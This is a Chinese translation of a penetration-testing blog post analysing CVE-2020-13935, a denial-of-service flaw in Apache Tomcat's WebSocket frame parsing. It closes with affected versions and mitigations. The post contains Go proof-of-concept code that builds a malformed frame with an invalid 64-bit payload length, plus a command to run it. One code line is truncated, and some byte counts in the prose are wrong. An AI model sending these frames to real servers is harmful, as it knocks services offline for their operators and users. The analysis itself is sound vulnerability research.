深入分析Apache Tomcat中的WebSocket漏洞

Posted 2021-04-04 嘶吼专业版

在本文中，我们将与读者一起深入分析Apache Tomcat中的WebSocket漏洞。

概述

Apache Tomcat是一种Java应用程序服务器，常用于Web应用程序，我们在渗透测试中经常会遇到它。

在这篇文章中，我们将深入分析Apache Tomcat服务器中近期曝出的一个漏洞及其利用方法，以帮助该软件的用户评估其面临的业务风险。该漏洞是与WebSockets一起出现的拒绝服务漏洞，并且已分配了漏洞编号CVE-2020-13935。

在渗透测试期间，我们经常会碰到用户运行过时版本的Apache Tomcat的情况。如果一个给定的版本包含漏洞，并且供应商（或维护者）已经发布了相应的安全更新，我们就会将该版本的软件归类为“过时的”。然而，有些漏洞只有在特定情况下才能被利用，而升级Web应用服务器的代价通常会比较高昂。因此，用户必须掌握简单明了的信息，才能对该漏洞是否影响特定产品以及是否值得升级做出明智的决定。不幸的是，并不是所有的供应商/维护者在安全方面都会提供简单明了的信息。

Apache Tomcat 9.0.37的版本说明显示，已于2020年7月发现并修复了一个漏洞，相关内容如下所示：

WebSocket框架中的有效载荷的长度未能进行正确验证，而无效的有效载荷长度可能会触发无限循环，最终，过多的有效载荷长度无效的请求可能导致拒绝服务。

实际上，由于这些信息含糊不清，导致以下疑惑：

· 无效的有效载荷长度由哪些部分构成？

· 发生的是哪种拒绝服务？CPU被耗尽，还是内存被耗尽？甚至直接发生崩溃？

· 在什么情况下应用程序容易受到攻击？Apache Tomcat何时解析WebSocket消息？

· 攻击者需要进行哪些投资？攻击过程是否需要大量带宽或计算能力？

· 如果无法升级的话，是否有变通的解决方案？

这些问题可以通过一些分析来回答，并且这也是我们渗透测试任务的一部分。

分析安全补丁

我们对Apache安全团队针对该漏洞的安全补丁进行了分析后发现，他们通过在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代码，来修复该漏洞的（为了便于阅读，这里重新对代码进行了格式化）：

// The most significant bit of those 8 bytes is required to be zero

// (see RFC 6455, section 5.2). If the most significant bit is set,

// the resulting payload length will be negative so test for that.

if (payloadLength < 0) {

    throw new WsIOException(

        new CloseReason(

            CloseCodes.PROTOCOL_ERROR,

            sm.getString("wsFrame.payloadMsbInvalid")

        )

    );

}

正如我们所看到的，这里添加了对有效载荷长度字段的额外检查，该字段的类型为long，如果值为负，则引发异常。但是有效载荷长度怎么可能是负值呢？

为了回答这个问题，让我们需要了解一下WebSocket数据帧的结构；根据相应RFC的描述：

0                   1                   2                   3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-------+-+-------------+-------------------------------+

|F|R|R|R| opcode|M| Payload len |    Extended payload length    |

|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |

|N|V|V|V|       |S|             |   (if payload len==126/127)   |

| |1|2|3|       |K|             |                               |

+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +

|     Extended payload length continued, if payload len == 127  |

+ - - - - - - - - - - - - - - - +-------------------------------+

|                               |Masking-key, if MASK set to 1  |

+-------------------------------+-------------------------------+

| Masking-key (continued)       |          Payload Data         |

+-------------------------------- - - - - - - - - - - - - - - - +

:                     Payload Data continued ...                :

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

|                     Payload Data continued ...                |

+---------------------------------------------------------------+

如上图所示，一个数据帧的前16位包含多个位标志以及7位有效载荷长度。如果将此有效载荷长度设置为127（二进制值为1111111），则应该使用所谓的64位的扩展有效载荷长度。此外，WebSocket RFC规定：

如果[7位有效载荷长度的值为]127，则后面的8个字节（最高有效位必须为0）将被解释为64位无符号整数，也就是有效载荷长度。

尽管该字段显然是一个64位无符号整数，但RFC却要求最高有效位为零，这似乎是一个特殊的选择。也许做出这种选择是为了提供与有符号版本的互操作性，但是却可能会引起混乱，甚至导致安全漏洞。

编写漏洞利用代码

接下来，我们将通过Go语言来实现概念验证代码。您可能会问为什么要用Go语言呢？很简单，因为我们觉得Go是一门非常棒的语言，不仅支持并发性，同时还为WebSockets提供了许多好用的代码库。此外，我们还能够根据需要为任何平台交叉编译PoC。

下面，让我们按照规范要求构建这样一个WebSocket帧：它被Apache Tomcat解析时，有效载荷长度将是一个负值。首先，需要选择位标志FIN、RSV1、RSV2和RSV3的值。其中，标志位FIN用于指示消息的最后一帧。由于我们要发送的整个消息都包含在单个帧中，因此，我们将该位设置为1。而另外的三个RSV位是为将来使用和扩展WebSocket规范而保留的，因此，它们都被设置为0。此外，opcode字段（4位）用于表示发送的数据的类型，因此，该值必须有效，否则将丢弃该帧。就这里来说，由于要要发送的是一个简单的文本有效载荷，所以必须将该字段的值设置为1。同时，Go库github.com/gorilla/websocket还为我们提供了一个要用到的常量。这样，我们就可以构造恶意WebSocket帧的第一个字节了：

var buf bytes.Buffer

fin := 1

rsv1 := 0

rsv2 := 0

rsv3 := 0

opcode := websocket.TextMessage

buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

第二个字节的第一个二进制位是MASK位，在从客户端发送到服务器的帧中，MASK位必须设置为1。我们最感兴趣的部分是有效载荷长度，因为它的大小是可变的。如果WebSocket消息的有效载荷长度不超过125字节，则可直接在7位有效载荷长度字段中对长度进行编码。对于长度在126和65535之间的有效载荷，7位有效载荷长度字段将被设置为常数126，并且有效载荷长度在接下来的两个字节中被编码为16位无符号整数。对于较大的有效载荷，必须将7位有效载荷长度字段设置为127，并且接下来的四个字节将有效载荷长度编码为64位无符号整数。如前所述，对于以64位定义的有效载荷长度，根据规范，最高有效位（MSB）必须设置为零。为了在Apache Tomcat中触发易受攻击的代码路径，我们需要指定64位的有效载荷长度，并将MSB设置为1，因此，我们需要将7位有效载荷长度字段设置为11111111：

// always set the mask bit

// indicate 64 bit message length

buf.WriteByte(byte(1<<7 | 0b1111111))

为了构建一个有效载荷长度无效的数据帧，以触发Apache Tomcat实现中的错误行为，我们需要将后面八个字节设置为0xFF：

// set msb to 1, violating the spec and triggering the bug

buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

随后的四个字节是掩码密钥（masking key）。按照规范的要求，它必须是一个来自强熵源的32位随机值，但由于我们已经违反了规范，所以，我们不妨使用一个静态掩码密钥，以使代码更容易阅读：

// 4 byte masking key

// leave zeros for now, so we do not need to mask

maskingKey := []byte不过，实际有效载荷本身可以小于指定长度：

// write an incomplete message

buf.WriteString("test")

数据包的组装和传输代码如下所示。为了更好地进行测试，我们将在发送以下内容后，让连接继续保持打开状态30秒：

ws, _, err := websocket.DefaultDialer.Dial(url, nil)

if err != nil {

    return fmt.Errorf("dial: %s", err)

}

_, err = ws.UnderlyingConn().Write(buf.Bytes())

if err != nil {

    return fmt.Errorf("write: %s", err)

}

// keep the websocket connection open for some time

time.Sleep(30 * time.Second)

完整的概念验证代码可从github.com/RedTeamPentesting/CVE-2020-13935下载。

现在，我们只需运行go build命令，即可生成可执行文件。为了测试该程序，可以设置一个易受攻击的Apache Tomcat实例，并以安装时提供的WebSocket示例作为我们的测试目标：

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

这就是利用拒绝服务漏洞所需的全部操作。如果一个易受攻击的WebSocket端点现在成为我们的目标，并且向其发送多个恶意请求，那么它的CPU使用率将会迅速上升，服务器就会变得反应迟钝，直至毫无响应。

请注意，解析代码仅由实际需要WebSocket消息的端点触发。我们不能向任意的Tomcat HTTP端点发送这样的消息。

根据相应的漏洞描述，以下版本的Apache Tomcat将受到该漏洞的影响：

· 10.0.0-M1 to 10.0.0-M6

· 9.0.0.M1 to 9.0.36

· 8.5.0 to 8.5.56

· 7.0.27 to 7.0.104

安全建议

如果可能的话，请将您的Apache Tomcat服务器更新到最新版本。然而，在某些情况下，更新方案可能是不可行的，或成本太高。在这种情况下，您应该检测自己的产品是否存在漏洞。如上所述，该漏洞只能在WebSockets端点上触发。因此，禁用或限制对这些端点的访问能够缓解这个安全问题。请注意，内置的示例目录也包含处理WebSockets的端点。

以上就是所有的内容，祝大家阅读愉快！

参考及来源：https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/